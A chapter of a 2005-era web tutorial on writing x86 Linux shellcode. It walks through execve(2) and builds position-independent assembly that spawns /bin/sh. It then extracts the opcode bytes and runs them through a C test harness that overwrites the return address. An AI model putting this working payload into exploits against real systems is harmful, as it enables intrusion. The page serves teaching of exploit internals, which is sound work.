<?xml version="1.0" encoding="UTF-8"?>

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<meta http-equiv="content-type" content="text/html; charset=utf-8" />

<meta name="resource-type" content="document" />

<meta name="keywords" content="kernel,panic,OpenBSD,Linux,shellcode,x86,IA32,intel,security,docs" />

<meta name="distribution" content="global" />

<meta name="author" content="Daniele Mazzocchio" />

<meta name="copyright" content="This document copyright 2005-2006 by Kernel-Panic.it." />

<title>Writing shellcode for Linux and *BSD - Spawning a shell</title>

<link rel="stylesheet" type="text/css" href="../../css/docs.css" />

<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon" />

<div class="navigation">

<ul>

<li class="prev"><a class="nav-list" href="shellcode4.html"><span>Previous</span></a></li>

<li class="up"><a class="nav-list" href="index.html"><span>Up</span></a></li>

<li class="next"><a class="nav-list" href="shellcode6.html"><span>Next</span></a></li>

<li class="home"><a class="nav-list" href="../../index.html"><span>Home</span></a></li>

</ul>

<h3>Writing shellcode for Linux and *BSD</h3>

<div>Previous: <a href="shellcode4.html">4. Writing the shellcode</a>&nbsp;

Up: <a href="index.html">Table of contents</a>&nbsp;

Next: <a href="shellcode6.html">6. Shellcode analysis</a>

</div>

</div>

<hr />

<h2>5. Spawning a shell</h2>

<p>Now it's time to write a shellcode to do something a little more useful. For instance, we can write a shellcode to spawn a shell (<tt>/bin/sh</tt>) and eventually exit cleanly. The simplest way to spawn a shell is using the <tt>execve(2)</tt> syscall. Let's take a look at its usage from its man page:</p>

<div class="code">

<div>man 2 execve</div>

EXECVE(2) Linux Programmer's Manual EXECVE(2)

NAME

execve - execute program

SYNOPSIS

#include &lt;unistd.h&gt;

int execve(const char *filename, char *const argv [], char *const envp[]);

DESCRIPTION

execve() executes the program pointed to by filename. filename must be either a binary

executable, or a script starting with a line of the form &quot;#! interpreter [arg]&quot;. In

the latter case, the interpreter must be a valid pathname for an executable which is

not itself a script, which will be invoked as interpreter [arg] filename.

argv is an array of argument strings passed to the new program. envp is an array of

strings, conventionally of the form key=value, which are passed as environment to the

new program. Both, argv and envp must be terminated by a null pointer. The argument

vector and environment can be accessed by the called program's main function, when it

is defined as int main(int argc, char *argv[], char *envp[]).

[...]

<p>To recap, we need to pass it three arguments:</p>

<li>a pointer to the name of the program to execute (in our case a pointer to the string &quot;/bin/sh&quot;);</li>

<li>a pointer to an array of strings to pass as arguments to the program (the first argument must be <tt>argv[0]</tt>, i.e. the name of the program itself). The last element of the array must be a null pointer;</li>

<li>a pointer to an array of strings to pass as environment to the program. These strings are usually in the form &quot;key=value&quot; and the last element must be a null pointer.</li>

<p>Therefore, spawning a shell from a C program looks like:</p>

<div class="code">

<div>get_shell.c</div>

#include &lt;unistd.h&gt;

int main() {

char *args[2];

args[0] = &quot;/bin/sh&quot;;

args[1] = NULL;

execve(args[0], args, NULL);

}

<p>In the above example we passed to <tt>execve(2)</tt>:</p>

<li>a pointer to the string &quot;/bin/sh&quot;;</li>

<li>an array of two pointers (the first pointing to the string &quot;/bin/sh&quot; and the second null);</li>

<li>a null pointer (we don't need any environment variables).</li>

<p>Now let's build it and see it work:</p>

<div class="code">

$ <kbd>gcc -o get_shell get_shell.c</kbd>

$ <kbd>./get_shell</kbd>

sh-2.05b$ <kbd>exit</kbd>

$

<p>Ok, we got our shell! Now let's see how to use this system call in assembler (since there are only three arguments, we can use registers). We immediately have to tackle two problems:</p>

<li>the first is a well-known problem: we can't insert null bytes in the shellcode; but this time we can't help using them: for instance, the shellcode must contain the string &quot;/bin/sh&quot; and, in C, strings must be null-terminated. And we will even have to pass two null pointers among the arguments to <tt>execve(2)</tt>!</li>

<li>the second problem is finding the address of the string. Absolute memory addressing makes development much longer and harder, but, above all, it makes almost impossible to port the shellcode among different programs and distributions.</li>

<p>To solve the first problem, we will make our shellcode able to put the null bytes in the right places at run-time. To solve the second problem, instead, we will use relative memory addressing.</p>

<p>The &quot;classic&quot; method to retrieve the address of the shellcode is to begin with a <tt>CALL</tt> instruction. The first thing a <tt>CALL</tt> instruction does is, in fact, pushing the address of the next byte onto the stack (to allow the <tt> RET</tt> instruction to insert this address in <tt>EIP</tt> upon return from the called function); then the execution jumps to the address specified by the parameter of the <tt>CALL</tt> instruction. This way we have obtained our starting point: the address of the first byte after the <tt>CALL</tt> is the last value on the stack and we can easily retrieve it with a <tt>POP</tt> instruction! Therefore, the overall structure of the shellcode will be:</p>

<div class="code">

jmp short mycall ; Immediately jump to the call instruction

shellcode:

pop esi ; Store the address of &quot;/bin/sh&quot; in ESI

[...]

mycall:

call shellcode ; Push the address of the next byte onto the stack: the next

db &quot;/bin/sh&quot; ; byte is the beginning of the string &quot;/bin/sh&quot;

<p>Let's see what it does:</p>

<li>first of all, the shellcode jumps to the <tt>CALL</tt> instruction;</li>

<li>the <tt>CALL</tt> pushes onto the stack the address of the string &quot;/bin/sh&quot; (not null-terminated yet); <tt>DB</tt> is a directive (not an instruction) that simply defines (i.e. reserves and initializes) a sequence of bytes; now the execution jumps back to the beginning of the shellcode;</li>

<li>next, the address of the string is popped from the stack and stored in <tt>ESI</tt>. From now on, we will be able to refer to memory addresses with reference to the address of the string.</li>

<p>Now we can fill the structure of the shellcode with something useful. Let's see, step by step, what it will have to do:</p>

<li>zero out <tt>EAX</tt> in order to have some null bytes available;</li>

<li>terminate the string with a null byte, copying it from <tt>EAX</tt> (we will use the <tt>AL</tt> register);</li>

<li>setup the array <tt>ECX</tt> will have to point to; it will be made up of the address of the string and a null pointer. We will accomplish this by writing the address of the string (stored in <tt>ESI</tt>) in the first free bytes right below the string, followed by the null pointer (once again we will use the zeroes in <tt>EAX</tt>);</li>

<li>store the number of the syscall (0x0b) in <tt>EAX</tt>;</li>

<li>store the first argument to <tt>execve(2)</tt> (i.e. the address of the string, saved in <tt>ESI</tt>) in <tt>EBX</tt>;</li>

<li>store the address of the array in <tt>ECX</tt> (<tt>ESI</tt>+8);</li>

<li>store the address of the null pointer in <tt>EDX</tt> (<tt>ESI</tt>+12);</li>

<li>execute the interrupt 0x80.</li>

<p>This is the resulting assenbly code:</p>

<div class="code">

<div>get_shell.asm</div>

jmp short mycall ; Immediately jump to the call instruction

shellcode:

pop esi ; Store the address of &quot;/bin/sh&quot; in ESI

xor eax, eax ; Zero out EAX

mov byte [esi + 7], al ; Write the null byte at the end of the string

mov dword [esi + 8], esi ; [ESI+8], i.e. the memory immediately below the string

; &quot;/bin/sh&quot;, will contain the array pointed to by the

; second argument of execve(2); therefore we store in

; [ESI+8] the address of the string...

mov dword [esi + 12], eax ; ...and in [ESI+12] the NULL pointer (EAX is 0)

mov al, 0xb ; Store the number of the syscall (11) in EAX

lea ebx, [esi] ; Copy the address of the string in EBX

lea ecx, [esi + 8] ; Second argument to execve(2)

lea edx, [esi + 12] ; Third argument to execve(2) (NULL pointer)

int 0x80 ; Execute the system call

mycall:

call shellcode ; Push the address of &quot;/bin/sh&quot; onto the stack

db &quot;/bin/sh&quot;

<p>Now let's extract the opcodes:</p>

<div class="code">

$ <kbd>nasm -f elf get_shell.asm</kbd>

$ <kbd>ojdump -d get_shell.o</kbd>

get_shell.o: file format elf32-i386

Disassembly of section .text:

00000000 &lt;shellcode-0x2&gt;:

0: eb 18 jmp 1a &lt;mycall&gt;

00000002 &lt;shellcode&gt;:

2: 5e pop %esi

3: 31 c0 xor %eax,%eax

5: 88 46 07 mov %al,0x7(%esi)

8: 89 76 08 mov %esi,0x8(%esi)

b: 89 46 0c mov %eax,0xc(%esi)

e: b0 0b mov $0xb,%al

10: 8d 1e lea (%esi),%ebx

12: 8d 4e 08 lea 0x8(%esi),%ecx

15: 8d 56 0c lea 0xc(%esi),%edx

18: cd 80 int $0x80

0000001a &lt;mycall&gt;:

1a: e8 e3 ff ff ff call 2 &lt;shellcode&gt;

1f: 2f das

20: 62 69 6e bound %ebp,0x6e(%ecx)

23: 2f das

24: 73 68 jae 8e &lt;mycall+0x74&gt;

$

<p>insert them in the C program:</p>

<div class="code">

<div>get_shell.c</div>

char shellcode[] = &quot;\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46&quot;

&quot;\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80&quot;

&quot;\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68&quot;;

int main()

{

int *ret;

ret = (int *)&amp;ret + 2;

(*ret) = (int)shellcode;

}

and test it:

<div class="code">

$ <kbd>gcc -o get_shell get_shell.c</kbd>

$ <kbd>./get_shell</kbd>

sh-2.05b$ <kbd>exit</kbd>

$

<hr />

<div class="navigation">

<ul>

<li class="prev"><a class="nav-list" href="shellcode4.html"><span>Previous</span></a></li>

<li class="up"><a class="nav-list" href="index.html"><span>Up</span></a></li>

<li class="next"><a class="nav-list" href="shellcode6.html"><span>Next</span></a></li>

<li class="home"><a class="nav-list" href="../../index.html"><span>Home</span></a></li>

</ul>

<h3>Writing shellcode for Linux and *BSD</h3>

<div>Previous: <a href="shellcode4.html">4. Writing the shellcode</a>&nbsp;

Up: <a href="index.html">Table of contents</a>&nbsp;

Next: <a href="shellcode6.html">6. Shellcode analysis</a>

</div>

</div>

<script type="text/javascript">var sc_project=873554, sc_invisible=1, sc_partition=7, sc_security="03daa6ce";</script>

<script type="text/javascript" src="http://www.statcounter.com/counter/counter_xhtml.js"></script>

<noscript><div class="statcounter"><a class="statcounter" href="http://www.statcounter.com/"><img class="statcounter" src="http://c8.statcounter.com/counter.php?sc_project=873554&amp;java=0&amp;security=03daa6ce&amp;invisible=1" alt="counter" /></a></div></noscript>